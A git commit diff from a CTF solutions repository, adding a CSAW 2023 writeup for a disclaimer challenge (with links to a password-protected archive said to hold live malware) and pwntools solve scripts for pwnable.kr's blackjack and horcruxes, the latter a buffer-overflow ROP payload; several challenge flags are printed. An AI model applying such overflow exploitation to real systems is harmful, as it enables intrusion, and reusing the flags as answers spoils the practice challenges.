some pwnable.kr sols+Prepare csaw sol template (the actual writeups aren't there dw organizers)

Author: programmeruser2

Diff for: .gitignore

@@ -1,3 +1,4 @@
 */__pycache__/*
 __pycache__/
+libseccomp.so.2
 

Diff for: csaw/2023/Disclaimer.md

@@ -0,0 +1,14 @@
+# Disclaimer
+**Points: 0**
+**Category: Incident Response**
+> Please make sure to do your investigation on a machine that you don't mind having malware on as there will be some malware on these machines that will corrupt the data on your system. You have been warned! Please acknowledge this warning my putting in the following flag --> csawctf{I_will_be_careful_in_my_investigation}
+
+> Here is the link for all the evidence (zip file is about 22GB and the password is infected) --> https://infected-vm-challenge.s3.amazonaws.com/evidence.zip
+
+> Here is a link for a mirror in SE-Asia. If it's a closer region to you than US-East. Please try this link to speed it up --> https://infected-vm-asia-mirror.s3-accelerate.amazonaws.com/evidence.zip
+
+> Here is a link for a mirror in Europe. If it's a closer region to you than US-East. Please try this link to speed it up --> https://infected-vm-europe.s3-accelerate.amazonaws.com/evidence.zip
+
+> Big shoutout to Axel Mierczuk and Dhyey Shah (CTFd) for help in getting this challenge together
+
+Read the disclaimer message in the challenge description, and submit the flag given: `csawctf{I_will_be_careful_in_my_investigation}`.

Diff for: csaw/2023/README.md

@@ -0,0 +1,6 @@
+# CSAW Quals 2023 
+Me and my team did this CTF and got 144th place with 1775 points.
+## Writeups 
+### Incident Response
+* [Disclaimer](./Disclaimer.md)
+

Diff for: pwnable-kr/blackjack.py

@@ -0,0 +1,8 @@
+from pwn import *
+r = remote('pwnable.kr', 9009)
+r.sendline(b'y')
+r.sendline(b'1')
+for _ in range(2): r.sendline(str(10 ** 6).encode())
+r.interactive()
+# play the game until you win and get the flag: YaY_I_AM_A_MILLIONARE_LOL
+

Diff for: pwnable-kr/flag

@@ -0,0 +1,2 @@
+ctf{test_flag}
+

Diff for: pwnable-kr/horcruxes

@@ -0,0 +1,11 @@
+from pwn import *
+context.clear(arch='i386', os='linux')
+context.binary = e = ELF('./horcruxes')
+rop = b'a' * (0x74 + 4+1)
+# last gadget -> go back to ropme
+rop += p32(0x0809fffc) 
+print(rop)
+#r = gdb.debug('./horcruxes', 'break ropme')
+r = process('./horcruxes')
+r.sendline(rop)
+r.interactive()